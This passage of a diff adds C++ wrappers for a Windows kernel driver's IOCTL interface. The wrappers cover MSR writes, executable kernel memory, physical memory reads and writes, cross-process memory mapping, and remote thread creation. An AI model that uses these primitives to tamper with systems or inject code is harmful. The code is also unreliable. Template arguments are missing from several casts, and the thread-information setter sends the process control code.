DeleteDriver(KbDriverName); + } + + ULONG WINAPI KbGetDriverApiVersion() + { + if (hDriver == INVALID_HANDLE_VALUE) return 0; + KB_GET_DRIVER_API_VERSION_OUT Output = {}; + KbSendRequest(Ctls::KbGetDriverApiVersion, NULL, 0, &Output, sizeof(Output)); + return Output.Version; + } + + ULONG WINAPI KbGetUserApiVersion() + { + return KB_API_VERSION; + } + + BOOL WINAPI KbGetHandlesCount(OUT PULONG Count) + { + if (!Count) return FALSE; + KB_GET_HANDLES_COUNT_OUT Output = {}; + BOOL Status = KbSendRequest(Ctls::KbGetHandlesCount, NULL, 0, &Output, sizeof(Output)); + *Count = Output.HandlesCount; + return Status; + } +} + +namespace IO +{ + namespace Beeper + { + BOOL WINAPI KbSetBeeperRegime() + { + return KbSendRequest(Ctls::KbSetBeeperRegime); + } + + BOOL WINAPI KbStartBeeper() + { + return KbSendRequest(Ctls::KbStartBeeper); + } + + BOOL WINAPI KbStopBeeper() + { + return KbSendRequest(Ctls::KbStopBeeper); + } + + BOOL WINAPI KbSetBeeperIn() + { + return KbSendRequest(Ctls::KbSetBeeperIn); + } + + BOOL WINAPI KbSetBeeperOut() + { + return KbSendRequest(Ctls::KbSetBeeperOut); + } + + BOOL WINAPI KbSetBeeperDivider(USHORT Divider) + { + KB_SET_BEEPER_DIVIDER_IN Input = {}; + Input.Divider = Divider; + return KbSendRequest(Ctls::KbSetBeeperDivider, &Input, sizeof(Input)); + } + + BOOL WINAPI KbSetBeeperFrequency(USHORT Frequency) + { + KB_SET_BEEPER_FREQUENCY_IN Input = {}; + Input.Frequency = Frequency; + return KbSendRequest(Ctls::KbSetBeeperFrequency, &Input, sizeof(Input)); + } + } + + namespace RW + { + BOOL WINAPI KbReadPortByte(USHORT PortNumber, OUT PUCHAR Value) + { + if (!Value) return FALSE; + KB_READ_PORT_IN Input = {}; + KB_READ_PORT_BYTE_OUT Output = {}; + Input.PortNumber = PortNumber; + BOOLEAN Status = KbSendRequest(Ctls::KbReadPort, &Input, sizeof(Input), &Output, sizeof(Output)); + *Value = Output.Value; + return Status; + } + + BOOL WINAPI KbReadPortWord(USHORT PortNumber, OUT PUSHORT Value) + { + if (!Value) return FALSE; + KB_READ_PORT_IN Input = {}; + KB_READ_PORT_WORD_OUT Output = {}; + Input.PortNumber = PortNumber; + BOOLEAN Status = KbSendRequest(Ctls::KbReadPort, &Input, sizeof(Input), &Output, sizeof(Output)); + *Value = Output.Value; + return Status; + } + + BOOL WINAPI KbReadPortDword(USHORT PortNumber, OUT PULONG Value) + { + if (!Value) return FALSE; + KB_READ_PORT_IN Input = {}; + KB_READ_PORT_DWORD_OUT Output = {}; + Input.PortNumber = PortNumber; + BOOLEAN Status = KbSendRequest(Ctls::KbReadPort, &Input, sizeof(Input), &Output, sizeof(Output)); + *Value = Output.Value; + return Status; + } + + BOOL WINAPI KbReadPortByteString(USHORT PortNumber, ULONG Count, OUT PUCHAR ByteString, ULONG ByteStringSizeInBytes) + { + if (!Count || !ByteString || !ByteStringSizeInBytes) return FALSE; + KB_READ_PORT_STRING_IN Input = {}; + auto Output = reinterpret_cast(ByteString); + Input.PortNumber = PortNumber; + return KbSendRequest(Ctls::KbReadPortString, &Input, sizeof(Input), Output, ByteStringSizeInBytes); + } + + BOOL WINAPI KbReadPortWordString(USHORT PortNumber, ULONG Count, OUT PUSHORT WordString, ULONG WordStringSizeInBytes) + { + if (!Count || !WordString || !WordStringSizeInBytes) return FALSE; + KB_READ_PORT_STRING_IN Input = {}; + auto Output = reinterpret_cast(WordString); + Input.PortNumber = PortNumber; + return KbSendRequest(Ctls::KbReadPortString, &Input, sizeof(Input), Output, WordStringSizeInBytes); + } + + BOOL WINAPI KbReadPortDwordString(USHORT PortNumber, ULONG Count, OUT PULONG DwordString, ULONG DwordStringSizeInBytes) + { + if (!Count || !DwordString || !DwordStringSizeInBytes) return FALSE; + KB_READ_PORT_STRING_IN Input = {}; + auto Output = reinterpret_cast(DwordString); + Input.PortNumber = PortNumber; + return KbSendRequest(Ctls::KbReadPortString, &Input, sizeof(Input), Output, DwordStringSizeInBytes); + } + + BOOL WINAPI KbWritePortByte(USHORT PortNumber, UCHAR Value) + { + KB_WRITE_PORT_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(Value); + Input.Byte = Value; + return KbSendRequest(Ctls::KbWritePort, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePortWord(USHORT PortNumber, USHORT Value) + { + KB_WRITE_PORT_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(Value); + Input.Word = Value; + return KbSendRequest(Ctls::KbWritePort, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePortDword(USHORT PortNumber, ULONG Value) + { + KB_WRITE_PORT_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(Value); + Input.Dword = Value; + return KbSendRequest(Ctls::KbWritePort, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePortByteString(USHORT PortNumber, ULONG Count, IN PUCHAR ByteString, ULONG ByteStringSizeInBytes) + { + if (!ByteString || ByteStringSizeInBytes < Count * sizeof(*ByteString)) return FALSE; + KB_WRITE_PORT_STRING_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(*ByteString); + Input.Count = Count; + Input.BufferSize = ByteStringSizeInBytes; + Input.Buffer = reinterpret_cast(ByteString); + return KbSendRequest(Ctls::KbWritePortString, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePortWordString(USHORT PortNumber, ULONG Count, IN PUSHORT WordString, ULONG WordStringSizeInBytes) + { + if (!WordString || WordStringSizeInBytes < Count * sizeof(*WordString)) return FALSE; + KB_WRITE_PORT_STRING_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(*WordString); + Input.Count = Count; + Input.BufferSize = WordStringSizeInBytes; + Input.Buffer = reinterpret_cast(WordString); + return KbSendRequest(Ctls::KbWritePortString, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePortDwordString(USHORT PortNumber, ULONG Count, IN PULONG DwordString, ULONG DwordStringSizeInBytes) + { + if (!DwordString || DwordStringSizeInBytes < Count * sizeof(*DwordString)) return FALSE; + KB_WRITE_PORT_STRING_IN Input = {}; + Input.PortNumber = PortNumber; + Input.Granularity = sizeof(*DwordString); + Input.Count = Count; + Input.BufferSize = DwordStringSizeInBytes; + Input.Buffer = reinterpret_cast(DwordString); + return KbSendRequest(Ctls::KbWritePortString, &Input, sizeof(Input)); + } + } + + namespace Iopl + { + BOOL WINAPI KbRaiseIopl() + { + return KbSendRequest(Ctls::KbRaiseIopl); + } + + BOOL WINAPI KbResetIopl() + { + return KbSendRequest(Ctls::KbResetIopl); + } + } +} + +namespace CPU +{ + BOOL WINAPI KbCli() + { + return KbSendRequest(Ctls::KbCli); + } + + BOOL WINAPI KbSti() + { + return KbSendRequest(Ctls::KbSti); + } + + BOOL WINAPI KbHlt() + { + return KbSendRequest(Ctls::KbHlt); + } + + BOOL WINAPI KbReadMsr(ULONG Index, OUT PUINT64 MsrValue) + { + if (!MsrValue) return FALSE; + KB_READ_MSR_IN Input = {}; + KB_READ_MSR_OUT Output = {}; + Input.Index = Index; + BOOL Status = KbSendRequest(Ctls::KbReadMsr, &Input, sizeof(Input), &Output, sizeof(Output)); + *MsrValue = Output.Value; + return Status; + } + + BOOL WINAPI KbWriteMsr(ULONG Index, IN UINT64 MsrValue) + { + KB_WRITE_MSR_IN Input = {}; + Input.Index = Index; + Input.Value = MsrValue; + return KbSendRequest(Ctls::KbWriteMsr, &Input, sizeof(Input)); + } + + BOOL WINAPI KbCpuid(ULONG FunctionIdEax, OUT PCPUID_INFO CpuidInfo) + { + if (!CpuidInfo) return FALSE; + KB_CPUID_IN Input = {}; + KB_CPUID_OUT Output = {}; + Input.FunctionIdEax = FunctionIdEax; + BOOL Status = KbSendRequest(Ctls::KbCpuid, &Input, sizeof(Input), &Output, sizeof(Output)); + CpuidInfo->Eax = Output.Eax; + CpuidInfo->Ebx = Output.Ebx; + CpuidInfo->Ecx = Output.Ecx; + CpuidInfo->Edx = Output.Edx; + return Status; + } + + BOOL WINAPI KbCpuidEx(ULONG FunctionIdEax, ULONG SubfunctionIdEcx, OUT PCPUID_INFO CpuidInfo) + { + if (!CpuidInfo) return FALSE; + KB_CPUIDEX_IN Input = {}; + KB_CPUID_OUT Output = {}; + Input.FunctionIdEax = FunctionIdEax; + Input.SubfunctionIdEcx = SubfunctionIdEcx; + BOOL Status = KbSendRequest(Ctls::KbCpuidEx, &Input, sizeof(Input), &Output, sizeof(Output)); + CpuidInfo->Eax = Output.Eax; + CpuidInfo->Ebx = Output.Ebx; + CpuidInfo->Ecx = Output.Ecx; + CpuidInfo->Edx = Output.Edx; + return Status; + } + + BOOL WINAPI KbReadPmc(ULONG Counter, OUT PUINT64 PmcValue) + { + if (!PmcValue) return FALSE; + KB_READ_PMC_IN Input = {}; + KB_READ_PMC_OUT Output = {}; + Input.Counter = Counter; + BOOL Status = KbSendRequest(Ctls::KbReadPmc, &Input, sizeof(Input), &Output, sizeof(Output)); + *PmcValue = Output.Value; + return Status; + } + + BOOL WINAPI KbReadTsc(OUT PUINT64 TscValue) + { + if (!TscValue) return FALSE; + KB_READ_TSC_OUT Output = {}; + BOOL Status = KbSendRequest(Ctls::KbReadTsc, NULL, 0, &Output, sizeof(Output)); + *TscValue = Output.Value; + return Status; + } + + BOOL WINAPI KbReadTscp(OUT PUINT64 TscValue, OUT OPTIONAL PULONG TscAux) + { + if (!TscValue) return FALSE; + KB_READ_TSCP_OUT Output = {}; + BOOL Status = KbSendRequest(Ctls::KbReadTscp, NULL, 0, &Output, sizeof(Output)); + *TscValue = Output.Value; + if (TscAux) *TscAux = Output.TscAux; + return Status; + } +} + +namespace VirtualMemory +{ + BOOL WINAPI KbAllocKernelMemory(ULONG Size, BOOLEAN Executable, OUT WdkTypes::PVOID* KernelAddress) + { + if (!Size || !KernelAddress) return FALSE; + KB_ALLOC_KERNEL_MEMORY_IN Input = {}; + KB_ALLOC_KERNEL_MEMORY_OUT Output = {}; + Input.Size = Size; + Input.Executable = Executable; + BOOL Status = KbSendRequest(Ctls::KbAllocKernelMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *KernelAddress = Output.KernelAddress; + return Status; + } + + BOOL WINAPI KbFreeKernelMemory(IN WdkTypes::PVOID KernelAddress) + { + if (!KernelAddress) return FALSE; + KB_FREE_KERNEL_MEMORY_IN Input = {}; + Input.KernelAddress = KernelAddress; + BOOL Status = KbSendRequest(Ctls::KbFreeKernelMemory, &Input, sizeof(Input)); + DWORD LE = GetLastError(); + return Status; + } + + BOOL WINAPI KbAllocNonCachedMemory(ULONG Size, OUT WdkTypes::PVOID* KernelAddress) + { + if (!Size || !KernelAddress) return FALSE; + KB_ALLOC_NON_CACHED_MEMORY_IN Input = {}; + KB_ALLOC_NON_CACHED_MEMORY_OUT Output = {}; + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbAllocNonCachedMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *KernelAddress = Output.KernelAddress; + return Status; + } + + BOOL WINAPI KbFreeNonCachedMemory(WdkTypes::PVOID KernelAddress, ULONG Size) + { + if (!KernelAddress) return FALSE; + KB_FREE_NON_CACHED_MEMORY_IN Input = {}; + Input.KernelAddress = KernelAddress; + Input.Size = Size; + return KbSendRequest(Ctls::KbFreeNonCachedMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbCopyMoveMemory(OUT WdkTypes::PVOID Dest, IN WdkTypes::PVOID Src, ULONG Size, BOOLEAN Intersects) + { + if (!Dest || !Src || !Size) return FALSE; + KB_COPY_MOVE_MEMORY_IN Input = {}; + Input.Src = Src; + Input.Dest = Dest; + Input.Size = Size; + Input.Intersects = Intersects; + return KbSendRequest(Ctls::KbCopyMoveMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbFillMemory(IN WdkTypes::PVOID Address, UCHAR Filler, ULONG Size) + { + if (!Address || !Size) return FALSE; + KB_FILL_MEMORY_IN Input = {}; + Input.Address = Address; + Input.Size = Size; + Input.Filler = Filler; + return KbSendRequest(Ctls::KbFillMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbEqualMemory(IN WdkTypes::PVOID Src, IN WdkTypes::PVOID Dest, ULONG Size, OUT PBOOLEAN Equals) + { + if (!Src || !Dest || !Size || !Equals) return FALSE; + KB_EQUAL_MEMORY_IN Input = {}; + KB_EQUAL_MEMORY_OUT Output = {}; + Input.Src = Src; + Input.Dest = Dest; + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbEqualMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *Equals = Output.Equals; + return Status; + } +} + +namespace Mdl +{ + BOOL WINAPI KbAllocateMdl( + WdkTypes::PVOID VirtualAddress, + ULONG Size, + OUT WdkTypes::PMDL* Mdl + ) { + if (!VirtualAddress || !Size || !Mdl) return FALSE; + KB_ALLOCATE_MDL_IN Input = {}; + KB_ALLOCATE_MDL_OUT Output = {}; + Input.VirtualAddress = VirtualAddress; + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbAllocateMdl, &Input, sizeof(Input), &Output, sizeof(Output)); + *Mdl = Output.Mdl; + return Status; + } + + BOOL WINAPI KbProbeAndLockPages( + OPTIONAL ULONG ProcessId, + WdkTypes::PMDL Mdl, + WdkTypes::KPROCESSOR_MODE ProcessorMode, + WdkTypes::LOCK_OPERATION LockOperation + ) { + if (!Mdl) return FALSE; + KB_PROBE_AND_LOCK_PAGES_IN Input = {}; + Input.ProcessId = ProcessId; + Input.Mdl = Mdl; + Input.ProcessorMode = ProcessorMode; + Input.LockOperation = LockOperation; + return KbSendRequest(Ctls::KbProbeAndLockPages, &Input, sizeof(Input)); + } + + BOOL WINAPI KbMapMdl( + OUT WdkTypes::PVOID* MappedMemory, + OPTIONAL UINT64 SrcProcessId, + OPTIONAL UINT64 DestProcessId, + WdkTypes::PMDL Mdl, + BOOLEAN NeedProbeAndLock, + WdkTypes::KPROCESSOR_MODE MapToAddressSpace, + ULONG Protect, + WdkTypes::MEMORY_CACHING_TYPE CacheType, + OPTIONAL WdkTypes::PVOID UserRequestedAddress + ) { + if (!MappedMemory) return FALSE; + KB_MAP_MDL_IN Input = {}; + KB_MAP_MDL_OUT Output = {}; + Input.SrcProcessId = SrcProcessId; + Input.DestProcessId = DestProcessId; + Input.Mdl = Mdl; + Input.NeedProbeAndLock = NeedProbeAndLock; + Input.MapToAddressSpace = MapToAddressSpace; + Input.Protect = Protect; + Input.CacheType = CacheType; + Input.UserRequestedAddress = UserRequestedAddress; + BOOL Status = KbSendRequest(Ctls::KbMapMdl, &Input, sizeof(Input), &Output, sizeof(Output)); + *MappedMemory = Output.BaseAddress; + return Status; + } + + BOOL WINAPI KbProtectMappedMemory(IN WdkTypes::PMDL Mdl, ULONG Protect) + { + if (!Mdl) return FALSE; + KB_PROTECT_MAPPED_MEMORY_IN Input = {}; + Input.Mdl = Mdl; + Input.Protect = Protect; + return KbSendRequest(Ctls::KbProtectMappedMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbUnmapMdl(IN WdkTypes::PMDL Mdl, IN WdkTypes::PVOID MappedMemory, BOOLEAN NeedUnlock) + { + if (!Mdl || !MappedMemory) return FALSE; + KB_UNMAP_MDL_IN Input = {}; + Input.Mdl = Mdl; + Input.BaseAddress = MappedMemory; + Input.NeedUnlock = NeedUnlock; + return KbSendRequest(Ctls::KbUnmapMdl, &Input, sizeof(Input)); + } + + BOOL WINAPI KbUnlockPages(WdkTypes::PMDL Mdl) + { + if (!Mdl) return FALSE; + KB_UNLOCK_PAGES_IN Input = {}; + Input.Mdl = Mdl; + return KbSendRequest(Ctls::KbUnlockPages, &Input, sizeof(Input)); + } + + BOOL WINAPI KbFreeMdl(WdkTypes::PMDL Mdl) + { + if (!Mdl) return FALSE; + KB_FREE_MDL_IN Input = {}; + Input.Mdl = Mdl; + return KbSendRequest(Ctls::KbFreeMdl, &Input, sizeof(Input)); + } + + BOOL WINAPI KbMapMemory( + OUT PMAPPING_INFO MappingInfo, + OPTIONAL UINT64 SrcProcessId, + OPTIONAL UINT64 DestProcessId, + WdkTypes::PVOID VirtualAddress, + ULONG Size, + WdkTypes::KPROCESSOR_MODE MapToAddressSpace, + ULONG Protect, + WdkTypes::MEMORY_CACHING_TYPE CacheType, + OPTIONAL WdkTypes::PVOID UserRequestedAddress + ) { + if (!MappingInfo || !Size) return FALSE; + KB_MAP_MEMORY_IN Input = {}; + KB_MAP_MEMORY_OUT Output = {}; + Input.SrcProcessId = SrcProcessId; + Input.DestProcessId = DestProcessId; + Input.VirtualAddress = VirtualAddress; + Input.Size = Size; + Input.MapToAddressSpace = MapToAddressSpace; + Input.Protect = Protect; + Input.CacheType = CacheType; + Input.UserRequestedAddress = UserRequestedAddress; + BOOL Status = KbSendRequest(Ctls::KbMapMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + MappingInfo->MappedAddress = Output.BaseAddress; + MappingInfo->Mdl = Output.Mdl; + return Status; + } + + BOOL WINAPI KbUnmapMemory(IN PMAPPING_INFO MappingInfo) + { + if (!MappingInfo || !MappingInfo->Mdl) return FALSE; + KB_UNMAP_MEMORY_IN Input = {}; + Input.Mdl = MappingInfo->Mdl; + Input.BaseAddress = MappingInfo->MappedAddress; + return KbSendRequest(Ctls::KbUnmapMemory, &Input, sizeof(Input)); + } +} + +namespace PhysicalMemory +{ + BOOL WINAPI KbAllocPhysicalMemory( + WdkTypes::PVOID LowestAcceptableAddress, + WdkTypes::PVOID HighestAcceptableAddress, + WdkTypes::PVOID BoundaryAddressMultiple, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType, + OUT WdkTypes::PVOID* Address + ) { + if (!Size || !Address) return FALSE; + KB_ALLOC_PHYSICAL_MEMORY_IN Input = {}; + KB_ALLOC_PHYSICAL_MEMORY_OUT Output = {}; + Input.LowestAcceptableAddress = LowestAcceptableAddress; + Input.HighestAcceptableAddress = HighestAcceptableAddress; + Input.BoundaryAddressMultiple = BoundaryAddressMultiple; + Input.Size = Size; + Input.CachingType = CachingType; + BOOL Status = KbSendRequest(Ctls::KbAllocPhysicalMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *Address = Output.Address; + return Status; + } + + BOOL WINAPI KbFreePhysicalMemory(WdkTypes::PVOID Address) + { + if (!Address) return FALSE; + KB_FREE_PHYSICAL_MEMORY_IN Input = {}; + Input.Address = Address; + return KbSendRequest(Ctls::KbFreePhysicalMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbMapPhysicalMemory( + IN WdkTypes::PVOID PhysicalAddress, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType, + OUT WdkTypes::PVOID* VirtualAddress + ) { + if (!Size || !VirtualAddress) return FALSE; + KB_MAP_PHYSICAL_MEMORY_IN Input = {}; + KB_MAP_PHYSICAL_MEMORY_OUT Output = {}; + Input.PhysicalAddress = PhysicalAddress; + Input.Size = Size; + Input.CachingType = CachingType; + BOOL Status = KbSendRequest(Ctls::KbMapPhysicalMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *VirtualAddress = Output.VirtualAddress; + return Status; + } + + BOOL WINAPI KbUnmapPhysicalMemory(IN WdkTypes::PVOID VirtualAddress, ULONG Size) + { + if (!VirtualAddress || !Size) return FALSE; + KB_UNMAP_PHYSICAL_MEMORY_IN Input = {}; + Input.VirtualAddress = VirtualAddress; + Input.Size = Size; + return KbSendRequest(Ctls::KbUnmapPhysicalMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbGetPhysicalAddress( + IN OPTIONAL WdkTypes::PEPROCESS Process, + IN WdkTypes::PVOID VirtualAddress, + OUT WdkTypes::PVOID* PhysicalAddress + ) { + if (!PhysicalAddress) return FALSE; + KB_GET_PHYSICAL_ADDRESS_IN Input = {}; + KB_GET_PHYSICAL_ADDRESS_OUT Output = {}; + Input.Process = Process; + Input.VirtualAddress = VirtualAddress; + BOOL Status = KbSendRequest(Ctls::KbGetPhysicalAddress, &Input, sizeof(Input), &Output, sizeof(Output)); + *PhysicalAddress = Output.PhysicalAddress; + return Status; + } + + BOOL WINAPI KbGetVirtualForPhysical( + IN WdkTypes::PVOID PhysicalAddress, + OUT WdkTypes::PVOID* VirtualAddress + ) { + if (!VirtualAddress) return FALSE; + KB_GET_VIRTUAL_FOR_PHYSICAL_IN Input = {}; + KB_GET_VIRTUAL_FOR_PHYSICAL_OUT Output = {}; + Input.PhysicalAddress = PhysicalAddress; + BOOL Status = KbSendRequest(Ctls::KbGetVirtualForPhysical, &Input, sizeof(Input), &Output, sizeof(Output)); + *VirtualAddress = Output.VirtualAddress; + return Status; + } + + BOOL WINAPI KbReadPhysicalMemory( + WdkTypes::PVOID64 PhysicalAddress, + OUT PVOID Buffer, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType + ) { + if (!Buffer || !Size) return FALSE; + KB_READ_WRITE_PHYSICAL_MEMORY_IN Input = {}; + Input.PhysicalAddress = PhysicalAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.CachingType = CachingType; + return KbSendRequest(Ctls::KbReadPhysicalMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWritePhysicalMemory( + WdkTypes::PVOID64 PhysicalAddress, + IN PVOID Buffer, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType + ) { + if (!Buffer || !Size) return FALSE; + KB_READ_WRITE_PHYSICAL_MEMORY_IN Input = {}; + Input.PhysicalAddress = PhysicalAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.CachingType = CachingType; + return KbSendRequest(Ctls::KbWritePhysicalMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbReadDmiMemory(OUT UCHAR DmiMemory[DmiSize], ULONG BufferSize) + { + if (BufferSize != DmiSize) return FALSE; + return KbSendRequest(Ctls::KbReadDmiMemory, NULL, 0, reinterpret_cast(DmiMemory), BufferSize); + } +} + +namespace Processes +{ + namespace Descriptors + { + BOOL WINAPI KbGetEprocess(ULONG ProcessId, OUT WdkTypes::PEPROCESS* Process) + { + if (!Process) return FALSE; + KB_GET_EPROCESS_IN Input = {}; + KB_GET_EPROCESS_OUT Output = {}; + Input.ProcessId = ProcessId; + BOOL Status = KbSendRequest(Ctls::KbGetEprocess, &Input, sizeof(Input), &Output, sizeof(Output)); + *Process = Output.Process; + return Status; + } + + BOOL WINAPI KbGetEthread(ULONG ThreadId, OUT WdkTypes::PETHREAD* Thread) + { + if (!Thread) return FALSE; + KB_GET_ETHREAD_IN Input = {}; + KB_GET_ETHREAD_OUT Output = {}; + Input.ThreadId = ThreadId; + BOOL Status = KbSendRequest(Ctls::KbGetEthread, &Input, sizeof(Input), &Output, sizeof(Output)); + *Thread = Output.Thread; + return Status; + } + + BOOL WINAPI KbOpenProcess(ULONG ProcessId, OUT WdkTypes::HANDLE* hProcess, OPTIONAL ACCESS_MASK Access, OPTIONAL ULONG Attributes) + { + if (!hProcess) return FALSE; + KB_OPEN_PROCESS_IN Input = {}; + KB_OPEN_PROCESS_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.Access = Access; + Input.Attributes = Attributes; + BOOL Status = KbSendRequest(Ctls::KbOpenProcess, &Input, sizeof(Input), &Output, sizeof(Output)); + *hProcess = Output.hProcess; + return Status; + } + + BOOL WINAPI KbOpenProcessByPointer( + WdkTypes::PEPROCESS Process, + OUT WdkTypes::HANDLE* hProcess, + OPTIONAL ACCESS_MASK Access, + OPTIONAL ULONG Attributes, + OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode + ) { + if (!hProcess) return FALSE; + KB_OPEN_PROCESS_BY_POINTER_IN Input = {}; + KB_OPEN_PROCESS_OUT Output = {}; + Input.Process = Process; + Input.Access = Access; + Input.Attributes = Attributes; + Input.ProcessorMode = ProcessorMode; + BOOL Status = KbSendRequest(Ctls::KbOpenProcessByPointer, &Input, sizeof(Input), &Output, sizeof(Output)); + *hProcess = Output.hProcess; + return Status; + } + + BOOL WINAPI KbOpenThread(ULONG ThreadId, OUT WdkTypes::HANDLE* hThread, OPTIONAL ACCESS_MASK Access, OPTIONAL ULONG Attributes) + { + if (!hThread) return FALSE; + KB_OPEN_THREAD_IN Input = {}; + KB_OPEN_THREAD_OUT Output = {}; + Input.ThreadId = ThreadId; + Input.Access = Access; + Input.Attributes = Attributes; + BOOL Status = KbSendRequest(Ctls::KbOpenThread, &Input, sizeof(Input), &Output, sizeof(Output)); + *hThread = Output.hThread; + return Status; + } + + BOOL WINAPI KbOpenThreadByPointer( + WdkTypes::PETHREAD Thread, + OUT WdkTypes::HANDLE* hThread, + OPTIONAL ACCESS_MASK Access, + OPTIONAL ULONG Attributes, + OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode + ) { + if (!hThread) return FALSE; + KB_OPEN_THREAD_BY_POINTER_IN Input = {}; + KB_OPEN_THREAD_OUT Output = {}; + Input.Thread = Thread; + Input.Access = Access; + Input.Attributes = Attributes; + Input.ProcessorMode = ProcessorMode; + BOOL Status = KbSendRequest(Ctls::KbOpenThreadByPointer, &Input, sizeof(Input), &Output, sizeof(Output)); + *hThread = Output.hThread; + return Status; + } + + BOOL WINAPI KbDereferenceObject(WdkTypes::PVOID Object) + { + if (!Object) return FALSE; + KB_DEREFERENCE_OBJECT_IN Input = {}; + Input.Object = Object; + return KbSendRequest(Ctls::KbDereferenceObject, &Input, sizeof(Input)); + } + + BOOL WINAPI KbCloseHandle(WdkTypes::HANDLE Handle) + { + if (!Handle) return FALSE; + KB_CLOSE_HANDLE_IN Input = {}; + Input.Handle = Handle; + return KbSendRequest(Ctls::KbCloseHandle, &Input, sizeof(Input)); + } + } + + namespace Information + { + BOOL WINAPI KbQueryInformationProcess( + WdkTypes::HANDLE hProcess, + NtTypes::PROCESSINFOCLASS ProcessInfoClass, + OUT PVOID Buffer, + ULONG Size, + OPTIONAL OUT PULONG ReturnLength + ) { + ULONG RetLength = 0; + KB_QUERY_INFORMATION_PROCESS_THREAD_IN Input = {}; + Input.Handle = hProcess; + Input.Buffer = reinterpret_cast(Buffer); + Input.ReturnLength = reinterpret_cast(&RetLength); + Input.InfoClass = static_cast(ProcessInfoClass); + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbQueryInformationProcess, &Input, sizeof(Input)); + if (ReturnLength) *ReturnLength = RetLength; + return Status; + } + + BOOL WINAPI KbSetInformationProcess( + WdkTypes::HANDLE hProcess, + NtTypes::PROCESSINFOCLASS ProcessInfoClass, + IN PVOID Buffer, + ULONG Size + ) { + KB_SET_INFORMATION_PROCESS_THREAD_IN Input = {}; + Input.Handle = hProcess; + Input.Buffer = reinterpret_cast(Buffer); + Input.InfoClass = static_cast(ProcessInfoClass); + Input.Size = Size; + return KbSendRequest(Ctls::KbSetInformationProcess, &Input, sizeof(Input)); + } + + BOOL WINAPI KbQueryInformationThread( + WdkTypes::HANDLE hThread, + NtTypes::THREADINFOCLASS ThreadInfoClass, + OUT PVOID Buffer, + ULONG Size, + OPTIONAL OUT PULONG ReturnLength + ) { + ULONG RetLength = 0; + KB_QUERY_INFORMATION_PROCESS_THREAD_IN Input = {}; + Input.Handle = hThread; + Input.Buffer = reinterpret_cast(Buffer); + Input.ReturnLength = reinterpret_cast(&RetLength); + Input.InfoClass = static_cast(ThreadInfoClass); + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbQueryInformationThread, &Input, sizeof(Input)); + if (ReturnLength) *ReturnLength = RetLength; + return Status; + } + + BOOL WINAPI KbSetInformationThread( + WdkTypes::HANDLE hThread, + NtTypes::THREADINFOCLASS ThreadInfoClass, + IN PVOID Buffer, + ULONG Size + ) { + KB_SET_INFORMATION_PROCESS_THREAD_IN Input = {}; + Input.Handle = hThread; + Input.Buffer = reinterpret_cast(Buffer); + Input.InfoClass = static_cast(ThreadInfoClass); + Input.Size = Size; + return KbSendRequest(Ctls::KbSetInformationProcess, &Input, sizeof(Input)); + } + } + + namespace Threads + { + BOOL WINAPI KbCreateUserThread( + ULONG ProcessId, + WdkTypes::PVOID ThreadRoutine, + WdkTypes::PVOID Argument, + BOOL CreateSuspended, + OUT OPTIONAL WdkTypes::CLIENT_ID* ClientId, + OUT OPTIONAL WdkTypes::HANDLE* hThread + ) { + if (!ProcessId) return FALSE; + KB_CREATE_USER_THREAD_IN Input = {}; + KB_CREATE_USER_SYSTEM_THREAD_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.ThreadRoutine = ThreadRoutine; + Input.Argument = Argument; + Input.CreateSuspended = CreateSuspended; + BOOL Status = KbSendRequest(Ctls::KbCreateUserThread, &Input, sizeof(Input), &Output, sizeof(Output)); + if (ClientId) *ClientId = Output.ClientId; + if (hThread) + *hThread = Output.hThread; + else + Descriptors::KbCloseHandle(Output.hThread); + return Status; + } + + BOOL WINAPI KbCreateSystemThread( + ULONG ProcessId, + WdkTypes::PVOID ThreadRoutine, + WdkTypes::PVOID Argument, + OUT OPTIONAL WdkTypes::CLIENT_ID* ClientId, + OUT OPTIONAL WdkTypes::HANDLE* hThread + ) { + if (!ProcessId) return FALSE; + KB_CREATE_SYSTEM_THREAD_IN Input = {}; + KB_CREATE_USER_SYSTEM_THREAD_OUT Output = {}; + Input.AssociatedProcessId = ProcessId; + Input.ThreadRoutine = ThreadRoutine; + Input.Argument = Argument; + BOOL Status = KbSendRequest(Ctls::KbCreateSystemThread, &Input, sizeof(Input), &Output, sizeof(Output)); + if (ClientId) *ClientId = Output.ClientId; + if (hThread) + *hThread = Output.hThread; + else + Descriptors::KbCloseHandle(Output.hThread); 